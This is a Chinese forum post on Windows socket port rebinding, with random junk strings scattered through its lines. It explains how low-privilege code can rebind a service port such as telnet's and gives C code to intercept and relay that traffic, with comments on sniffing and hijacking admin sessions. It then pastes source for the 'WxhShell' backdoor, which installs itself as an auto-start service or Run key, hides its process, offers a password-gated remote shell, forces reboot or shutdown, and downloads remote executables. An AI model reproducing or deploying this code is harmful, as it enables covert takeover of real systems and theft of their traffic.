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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: h1K 3A5  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 'A !Dg  
ynM{hN.+H  
  saddr.sin_family = AF_INET; o^&; `XOd  
T|ZZkNP|6  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); I2j;9Qcz  
#jr;.;8sQ  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); S97.O@V!$  
Z6>:k,-Ot  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 )\^o<x2S  
:v{ $]wg  
  这意味着什么?意味着可以进行如下的攻击: 1a4QWGpq  
+@%9pbM"z  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 V.Xz n  
K^{`8E&A  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Cqg}dXn'  
2y_rsu\  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 J~gfMp.  
D{'Na5(  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  T,7Y7MzF  
lu(G3T8  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 G:WMocyXI'  
]N=C%#ki!  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 .2xypL8(  
Oku4EJFJ  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 m3_e]v3{o  
P603P  
  #include >+vWtO 2  
  #include :1Fm~'  
  #include .[ 1A  
  #include    Q=PaTh   
  DWORD WINAPI ClientThread(LPVOID lpParam);   U"m!f*a  
  int main() kP;:s  
  { 7=QV^G  
  WORD wVersionRequested; D4'XBXmb  
  DWORD ret; Mh+'f 93  
  WSADATA wsaData; >j`*-(`2fa  
  BOOL val; 0^ E!P>  
  SOCKADDR_IN saddr; :WA o{|&  
  SOCKADDR_IN scaddr; {tR=D_5  
  int err; "mPa >`?  
  SOCKET s; Go`omh b  
  SOCKET sc; o4~ft!>  
  int caddsize; oSa FmP  
  HANDLE mt; %m+MEh"b5  
  DWORD tid;   m\Tq0cT$  
  wVersionRequested = MAKEWORD( 2, 2 ); $d8A_CUU  
  err = WSAStartup( wVersionRequested, &wsaData ); n;Iey[7_E`  
  if ( err != 0 ) { ['s_qCA[  
  printf("error!WSAStartup failed!\n"); G~B V^  
  return -1; >P0AGZ  
  } _a<PUdP  
  saddr.sin_family = AF_INET; /0o 2  
   Plq [Ml9  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 &-b=gnT   
-|)[s[T~m  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); (6h7'r $  
  saddr.sin_port = htons(23); JyB>,t)  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) bLV@Ts  
  { <q[ *kr  
  printf("error!socket failed!\n"); 'E&K%/d  
  return -1; ~:t2@z4p  
  } &PgdCijGq;  
  val = TRUE;  v$tS 2N2  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 cF(9[8c{  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) :X4\4B*~  
  { M9&tys[KX  
  printf("error!setsockopt failed!\n"); 8dA/dMQ  
  return -1; $s]@%6 f  
  } 8V|-BP5^  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; zf o.S[R@  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 _-!6@^+  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 >8 JvnBFx=  
Bp/8 >E O`  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) .ERO*Tj  
  { 2~`dV_  
  ret=GetLastError(); c=b\9!hr_E  
  printf("error!bind failed!\n"); ^_=0.:QaW  
  return -1; GUp51*#XR  
  } ;XtDz  
  listen(s,2); bs`/k&'  
  while(1) wcL0#[)  
  { A.h?#%TLL  
  caddsize = sizeof(scaddr); Xj@Kt|&`k  
  //接受连接请求 ]yIy~V  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); wlpbfO e/  
  if(sc!=INVALID_SOCKET) n9J>yud|  
  { [KE4wz+s{  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); FN,uD:a  
  if(mt==NULL) B0KM~cCPQP  
  { EV(/@kN2  
  printf("Thread Creat Failed!\n"); 3+$O#>  
  break; b,`\"'1  
  } nWl0R=  
  }  mPD'"  
  CloseHandle(mt); uf>w*[m5  
  } >L;O, {Px-  
  closesocket(s); Ucy9fM  
  WSACleanup(); K5ph x  
  return 0; '9[_ w$~(  
  }    y]+A7|  
  DWORD WINAPI ClientThread(LPVOID lpParam) GbE3 :;JI  
  { .Lp-'!i  
  SOCKET ss = (SOCKET)lpParam; e=R} 4`  
  SOCKET sc; dog,vUu  
  unsigned char buf[4096]; <5#e.w  
  SOCKADDR_IN saddr; :_H88/?RR  
  long num; }dR *bG  
  DWORD val; UetmO`qju  
  DWORD ret; jFc{$#g-  
  //如果是隐藏端口应用的话,可以在此处加一些判断 x!jhWX  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   JQ1VCG  
  saddr.sin_family = AF_INET; ?yU#'`q  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); a;zcAeX  
  saddr.sin_port = htons(23); "D/ fB%h`  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 8`~]9ej  
  { 4HHf3j!5  
  printf("error!socket failed!\n"); k^]~NP  
  return -1; (j /O=$mJ  
  } p4Y 9$(X  
  val = 100; <@=NDUI3*,  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) C;ye%&g>  
  { W9D)QIqbvW  
  ret = GetLastError(); gi6_la+  
  return -1; K%k,-  
  } ,@;<u'1\G  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) [y:LA ~q  
  { =ht@7z8QM  
  ret = GetLastError(); EAkP[au.  
  return -1; #n7{ 3)   
  } \[&]kPcDl  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) QM]^@2rK2  
  { ?`XKaD! f  
  printf("error!socket connect failed!\n"); {8MF!CG]  
  closesocket(sc); A^7!+1*K+  
  closesocket(ss); H:_`]X"  
  return -1; RW)C<g  
  } L;  ~=(  
  while(1) 4jW{IGW  
  { neBkwXF!  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Kv7NCpq'  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 O?!"15  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 pDLo`F}A  
  num = recv(ss,buf,4096,0); @RP|?Xc{?  
  if(num>0) smU+:~  
  send(sc,buf,num,0); z)B=<4r  
  else if(num==0) >gE_?%a[  
  break; 'n no)kQ"  
  num = recv(sc,buf,4096,0); x,%&[ 6(  
  if(num>0) Qi61(lK  
  send(ss,buf,num,0); 3C2 >   
  else if(num==0) &M!:,B  
  break; &)l:m.  
  } i&$uG[&P  
  closesocket(ss); v+G:,Tc"  
  closesocket(sc); ;D1IhDC  
  return 0 ; W#[!8d35$  
  } f/x "yUq  
Xwi&uyvU&  
TG9)x|!  
========================================================== UPYM~c+}  
bq O"k t  
下边附上一个代码,,WXhSHELL Kf4z*5Veqr  
!iw 'tHhR  
========================================================== S(6ZX>wv:  
"ir*;|  
#include "stdafx.h" K?4(ou  
n3N"Ax  
#include <stdio.h> 66*o2D\Q*G  
#include <string.h> 0FOf *Lz  
#include <windows.h> ?MH4<7?"  
#include <winsock2.h> ) YFs  
#include <winsvc.h> 1%,Z&@^j  
#include <urlmon.h> =+ p+_}C  
y6/X!+3+  
#pragma comment (lib, "Ws2_32.lib") CkU=0mcY  
#pragma comment (lib, "urlmon.lib") q~n2VU4L*  
hbeC|_+   
#define MAX_USER   100 // 最大客户端连接数 v,&2 !Zv  
#define BUF_SOCK   200 // sock buffer sFQ|lU"n  
#define KEY_BUFF   255 // 输入 buffer b5Pn|5AVj  
Q6K)EwN  
#define REBOOT     0   // 重启 Ie"R,,c   
#define SHUTDOWN   1   // 关机 (4LLTf0  
6{'6_4;Fv(  
#define DEF_PORT   5000 // 监听端口 2XHk}M|  
F0Hbklr  
#define REG_LEN     16   // 注册表键长度 &[kgrRF@HU  
#define SVC_LEN     80   // NT服务名长度 Kxn7sL$]=F  
o3=kF  
// 从dll定义API u $#7W>R  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); {rZ"cUm  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); WIm7p1U#V  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); +QX>:z  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); I8?[@kg5b'  
@nu/0+8h{  
// wxhshell配置信息 #A; Z4jK  
struct WSCFG { YkX=n{^  
  int ws_port;         // 监听端口 zwtsw[.  
  char ws_passstr[REG_LEN]; // 口令 p/h&_^EXU  
  int ws_autoins;       // 安装标记, 1=yes 0=no ~-d.3A $u  
  char ws_regname[REG_LEN]; // 注册表键名 >{a,]q*  
  char ws_svcname[REG_LEN]; // 服务名 L])w-  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Q8?D}h  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 EcIQ20Z_-  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 M>@R=f  
int ws_downexe;       // 下载执行标记, 1=yes 0=no W1 Qc1T8  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" >nQ yF  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 !\1W*6U8;  
Oq6n.:8g"  
}; .h,xBT`}Ji  
KU,w9<~i(  
// default Wxhshell configuration I0K!Kcu5Iu  
struct WSCFG wscfg={DEF_PORT, 09Y?!,  
    "xuhuanlingzhe", |@.<} /  
    1, moR2iyO_  
    "Wxhshell", Ib!rf:  
    "Wxhshell", |`wsKr'  
            "WxhShell Service", 7-I>5 3@  
    "Wrsky Windows CmdShell Service", j_@3a)[NY  
    "Please Input Your Password: ", v\,%)Z/  
  1, 5#.\pR{Gd  
  "http://www.wrsky.com/wxhshell.exe", vc #oALc&  
  "Wxhshell.exe" vv/,Rgv  
    }; YS~t d+*  
9Z'eBp  
// 消息定义模块 rz{'X d  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ?(yFwR,(  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ]0 RXo3  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; (PcK(C!}=\  
char *msg_ws_ext="\n\rExit."; 493i*j5r)l  
char *msg_ws_end="\n\rQuit."; ; ,jLtl  
char *msg_ws_boot="\n\rReboot..."; ~qxXou,J  
char *msg_ws_poff="\n\rShutdown..."; sdYj'e:N  
char *msg_ws_down="\n\rSave to "; e oSM@Isu  
|SKG4_wGe  
char *msg_ws_err="\n\rErr!"; SzX~;pFM0  
char *msg_ws_ok="\n\rOK!"; R Sz[6  
}Y`<(V5:  
char ExeFile[MAX_PATH]; bpa O`[*  
int nUser = 0; p"IS"k%  
HANDLE handles[MAX_USER]; D|j \ nQ  
int OsIsNt; u3mT l  
]fo^43rn{  
SERVICE_STATUS       serviceStatus; 8G&+  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; E5G"QnxR>N  
(M,VwwN  
// 函数声明 Ir"Q%>K0f  
int Install(void); @jSbMI  
int Uninstall(void); s}9tK(4v  
int DownloadFile(char *sURL, SOCKET wsh); aGb. Lh9  
int Boot(int flag); < iI6@X>  
void HideProc(void); KTjlWxD  
int GetOsVer(void); ,,%:vK+V  
int Wxhshell(SOCKET wsl); wI@I(r~ g  
void TalkWithClient(void *cs); ]^jdO##M  
int CmdShell(SOCKET sock); ~49N  
int StartFromService(void); W#I:j: p  
int StartWxhshell(LPSTR lpCmdLine); ,M.!z@  
qlITQKGG  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); QM_X2Ho  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); r/hyW6e_  
NLZZMr  
// 数据结构和表定义 DnsP7k.8T  
SERVICE_TABLE_ENTRY DispatchTable[] = YQV?S  
{ W^.-C  
{wscfg.ws_svcname, NTServiceMain}, s%[GQQ-N  
{NULL, NULL} UXPegK!  
}; Kt,yn A  
34wM%@D*c  
// 自我安装 3*$9G)Ey  
int Install(void) M#VC3h$  
{ ITIj=!F*  
  char svExeFile[MAX_PATH]; %M#?cmt  
  HKEY key; %=9yzIjbAt  
  strcpy(svExeFile,ExeFile); 5%?b5(mnD  
D&l ,SD  
// 如果是win9x系统,修改注册表设为自启动 UlNfI}#X  
if(!OsIsNt) { 7k=F6k0)  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Ldhk^/+  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ?koxt4 4  
  RegCloseKey(key); q7f;ZK=f  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { +O$:  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); *UBP]w  
  RegCloseKey(key); 2k}-25xxL  
  return 0; nt0\q'&  
    } T<+ht8&M8  
  } I+"?,Ej$K  
} Th^(f@.w  
else { N^ s!!Sbpq  
-9>LvLU  
// 如果是NT以上系统,安装为系统服务 dG-or  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); MziZN^(  
if (schSCManager!=0) Np<&#s[dQ  
{ QhX C>)PW  
  SC_HANDLE schService = CreateService H8$<HhuZM  
  ( S1^nC tSF  
  schSCManager, ;=-j;x  
  wscfg.ws_svcname, 6L,lq;  
  wscfg.ws_svcdisp, {(z(NgXG/  
  SERVICE_ALL_ACCESS, UM( l%  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , jc&/}o$K  
  SERVICE_AUTO_START, yw.~trF&%  
  SERVICE_ERROR_NORMAL, +rsl( 08FY  
  svExeFile, ]oeuIRyQ  
  NULL, J, 0pe\5  
  NULL, @>G&7r:U  
  NULL, )?B~64N,+  
  NULL, '9 e\.  
  NULL &{E`=4T2  
  ); _jTwiuMS-  
  if (schService!=0) UV']NH h  
  { lH)em.#  
  CloseServiceHandle(schService); z^rhgs?4  
  CloseServiceHandle(schSCManager); UOWIiu  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); :'y{dbKp"  
  strcat(svExeFile,wscfg.ws_svcname); <r<Dmn|\a  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { j!x<QNNX  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); FE+7X=y  
  RegCloseKey(key); J 0Hm)*  
  return 0; VX;zZ`BJ  
    } ) \-96 xd  
  } B6ed,($&  
  CloseServiceHandle(schSCManager); g=xv+e  
} ESD<8 OR  
} 9p2>`L  
@P_C%}(<  
return 1; Any Zi'  
} ?""\  
F_nZvv[H?  
// 自我卸载 QJ#u[hsMFp  
int Uninstall(void) &nqdl+|G*  
{ uNe}"hs  
  HKEY key; qDRNtFa  
-@ZzG uS(  
if(!OsIsNt) { )X~Pr?52?  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { =a)iVXSB]  
  RegDeleteValue(key,wscfg.ws_regname); *D?((_+  
  RegCloseKey(key); [,<\RviI  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { h4aygc  
  RegDeleteValue(key,wscfg.ws_regname); `6Ureui2?  
  RegCloseKey(key); )W8L91-  
  return 0; N7*CP|?E  
  } ]*2EK9<  
} Z 7s;F}=  
} 3@^>#U   
else { (Qk&g"I  
[,O`MU  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ! Ea&]G  
if (schSCManager!=0) d7"U WY^  
{ bQwdgc),s{  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); {sC@N![  
  if (schService!=0) T-9k<,>?  
  { bZ>&QM  
  if(DeleteService(schService)!=0) { YH[XRUa  
  CloseServiceHandle(schService); H]_WFiW-9  
  CloseServiceHandle(schSCManager); Nush`?]J"_  
  return 0; cQT1Xi  
  } +_qh)HX  
  CloseServiceHandle(schService); ytjK++(T5  
  } H\^VqNK"  
  CloseServiceHandle(schSCManager); Z#-k.|}  
} >0PUWr$8  
} LthGZ|>  
Dd| "iA  
return 1; 9>N\sOh  
} nVxq72o@  
Rl_.;?v"!  
// 从指定url下载文件 8 +"10q-  
int DownloadFile(char *sURL, SOCKET wsh) /61by$E  
{ LGIalf*7  
  HRESULT hr;  ispkj'  
char seps[]= "/"; Z'Kd^`mt 9  
char *token; 2;:lK":  
char *file; {Q)dU-\  
char myURL[MAX_PATH]; ^:qD.h>&  
char myFILE[MAX_PATH]; (cvh3',  
^J8uhV;w  
strcpy(myURL,sURL); ql^g~b  
  token=strtok(myURL,seps); /xcJo g~F,  
  while(token!=NULL) QhsMd- v  
  { tXt:HVN  
    file=token; 7))\'\  
  token=strtok(NULL,seps); %X;7--S%?g  
  } Iz#yQ`  
%yp5DD}|  
GetCurrentDirectory(MAX_PATH,myFILE);  *p=fi  
strcat(myFILE, "\\"); RI-A"cc6A  
strcat(myFILE, file); }2l O _i}L  
  send(wsh,myFILE,strlen(myFILE),0); ;SgD 5Ln}  
send(wsh,"...",3,0); &K>cW$h=a  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Pg/T^n&  
  if(hr==S_OK) -'6<   
return 0; q]px(  
else lR:?uZ$  
return 1; t9.,/o,  
j'+ELKQ  
} A t{U~^  
:q^R `8;(t  
// 系统电源模块 ;{k=C2  
int Boot(int flag) P+h6!=nD7  
{ ^|#>zCt^  
  HANDLE hToken; S?L#N  
  TOKEN_PRIVILEGES tkp; Go1(@  
eJ)1K  
  if(OsIsNt) { RU0i#suiz  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); YZ+>\ x  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); :X_CFW  
    tkp.PrivilegeCount = 1; \eQ la8s  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; vQ 4}WtvA  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); |zq4*  5  
if(flag==REBOOT) { Bz+.Qa+  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 2{-!E ^g  
  return 0; Vo,[EVL  
} Edw2W8  
else { QBoFpxh=  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) -/>9c-F  
  return 0; "V4Q2T T  
} vt.P*Z5  
  } }taLk@T  
  else { gE\b 982  
if(flag==REBOOT) { Pt)S;6j   
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ~wOTjz  
  return 0; ["a"x>X&  
} (s s3A9tG  
else { 9@n diu[  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) d ",(a Z  
  return 0; d ;^  
} Sh&iQ_vq  
} |O-`5_z$r  
ZqQ*}l5  
return 1; wK ?@.l)u  
} 2ev*CX6.  
=q+R   
// win9x进程隐藏模块 1a$IrQE  
void HideProc(void) := <0=JE#  
{ }_}KVI  
t0Zk-/s  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); X4wH/q^  
  if ( hKernel != NULL ) (WRMaI72(  
  { Fu7M0X'p  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); fN)x#?  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); o@W_ai_  
    FreeLibrary(hKernel); mu[Op*)  
  } Hz@h0+h  
IkDiT63]I  
return; ;~+]! U  
} lpy:3`ti  
bb;(gK;F  
// 获取操作系统版本 Izn T|l^  
int GetOsVer(void) ~~nqU pK?v  
{ JJ ?I>S N!  
  OSVERSIONINFO winfo; ?^u^im  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); rkDi+D6`q  
  GetVersionEx(&winfo); u7s"0f`  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) +-BwQ{92[:  
  return 1; (}smW_ `5  
  else [Atc "X$  
  return 0; Nu^p  
} 83 I-X95  
pJBg?D  
// 客户端句柄模块 Nxk(mec"  
int Wxhshell(SOCKET wsl) $6h*l T<  
{ J;}3t!  
  SOCKET wsh; ?Ik4  
  struct sockaddr_in client; ~y /!fnv  
  DWORD myID; V.6)0fKZW  
hJ*Ihwn|  
  while(nUser<MAX_USER) ObG=>WPJa  
{ j6S"UwJjp  
  int nSize=sizeof(client); q0&$7GH4  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); G:IP? z]  
  if(wsh==INVALID_SOCKET) return 1; j1*f]va  
`Ye8 Q5v"]  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 'T,c.Vj)  
if(handles[nUser]==0) h|bT)!|  
  closesocket(wsh); w0w1PE-V=  
else 6w| J -{2  
  nUser++; kWhr1wR1  
  } #%$28sxB  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); WsI>n  
};,/0Fu  
  return 0; v.&>Ih/L  
} jlqv2V7=/  
/,s[#J   
// 关闭 socket }Fa%%}  
void CloseIt(SOCKET wsh) W)*p2 #l  
{ 5~H#(d<oZ  
closesocket(wsh); ZmEEj-*7s  
nUser--; S6xgiem  
ExitThread(0); 7 oQ[FdRn*  
} mi,&0xDe a  
9GU]l7C=z  
// 客户端请求句柄 e6E?t[hEeS  
void TalkWithClient(void *cs) R>/ NE!q  
{ ,q#0hy%5/  
2`?!+")  
  SOCKET wsh=(SOCKET)cs; 0w=R_C)s  
  char pwd[SVC_LEN]; W!T"m)S  
  char cmd[KEY_BUFF]; Jr;jRe`4c  
char chr[1]; 7Nzbz3  
int i,j; % 0T+t.  
#_i`#d)  
  while (nUser < MAX_USER) { #8XL :I  
k@dN$O%p  
if(wscfg.ws_passstr) { !w39FfU{  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); p{D4"Qn+P9  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ;dR=tAf0$Q  
  //ZeroMemory(pwd,KEY_BUFF); ?D`T7KSe~D  
      i=0; ?6^|ZtB  
  while(i<SVC_LEN) { T,%j\0  
K`g7$r)U[  
  // 设置超时 3g~'5Ao  
  fd_set FdRead; Cbm\h/PXl  
  struct timeval TimeOut; `aC){&AP(  
  FD_ZERO(&FdRead); . pzC5Ah  
  FD_SET(wsh,&FdRead); z (?=Iv3  
  TimeOut.tv_sec=8; c;2#,m^  
  TimeOut.tv_usec=0; YW/QC'_iC  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); he(A3{'  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); `=lc<T^  
"N?+VkZEv  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); u #w29Pm  
  pwd=chr[0]; (kv?33  
  if(chr[0]==0xd || chr[0]==0xa) { G\de2Q"d:O  
  pwd=0; r|u MovnV  
  break; FRu]kZv2  
  } 'o_:^'c  
  i++; iB[~U3  
    } LJ)5W  
@#g<IBG=*  
  // 如果是非法用户,关闭 socket v59dh (:`Z  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); @.Ic z  
} 1KM`i  
9h4({EE2t  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); aJ") <_+  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ~*A8+@ \R  
4)|8Eu[p7  
while(1) { phnV7D(E  
!K f#@0E..  
  ZeroMemory(cmd,KEY_BUFF); aFz5leD  
5,-U.B}  
      // 自动支持客户端 telnet标准   },+wJ1  
  j=0; ,'xYlH3s  
  while(j<KEY_BUFF) { hCjR&ZA  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); L>y J  
  cmd[j]=chr[0]; W\&8au ds  
  if(chr[0]==0xa || chr[0]==0xd) { x^4xq#Bb7  
  cmd[j]=0; Qx;\USv  
  break; U4aU}1RKz  
  } /='. 4 v  
  j++; ]vWKR."4  
    } VXIP0p@  
z|EEVNFd&  
  // 下载文件 Sz- J y:j  
  if(strstr(cmd,"http://")) { p2Zo  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 7Mb# O_eh  
  if(DownloadFile(cmd,wsh)) ~cTN~<{dq  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); +_XzmjnDd  
  else .A sv%p[W  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Lzu.)C@Amx  
  } [W %$qZlP  
  else { )E@A0W  
@=}YTtq  
    switch(cmd[0]) { r\qj!   
  W`\R%>$H  
  // 帮助 EQ'V{PIfj  
  case '?': { ?7<JQh)"e  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Zjbc3 M5  
    break; 3)\8%Ox  
  } MrZh09y  
  // 安装 *%{gYpn  
  case 'i': { P"B0_EuR<T  
    if(Install()) ):i&`}SY  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8!Vl   
    else BZ zrRC  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~HOy:1QhE=  
    break; Zt.'K(]2h  
    } Y. ,Kl~  
  // 卸载 j@YU|-\qh  
  case 'r': { ZI=%JU(  
    if(Uninstall()) "@?? Fw!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *h}XWBC1q  
    else uV!^,,~  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {r@Ty*W} L  
    break; gw, UQbnu  
    } ma"3qGy  
  // 显示 wxhshell 所在路径 ]IoUwgpI)  
  case 'p': { ZosP(Tdq  
    char svExeFile[MAX_PATH]; /YZr~|65  
    strcpy(svExeFile,"\n\r"); E\Rhz]G(  
      strcat(svExeFile,ExeFile); x>Zn?YR,"  
        send(wsh,svExeFile,strlen(svExeFile),0); -r-k_6QP  
    break; ^J$2?!~  
    } R8ZK]5{o  
  // 重启 spt6]"Ni  
  case 'b': { KXx32 b,~  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); e" St_z(  
    if(Boot(REBOOT)) j'A_'g'^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); dBz/7&Q   
    else { 7=;R& mqC  
    closesocket(wsh); D9 g#F f6  
    ExitThread(0); :]\([Q+a  
    } eEuvl`&  
    break;  Vh_P/C+  
    } .&DhN#EN0  
  // 关机 +j< p \Kn>  
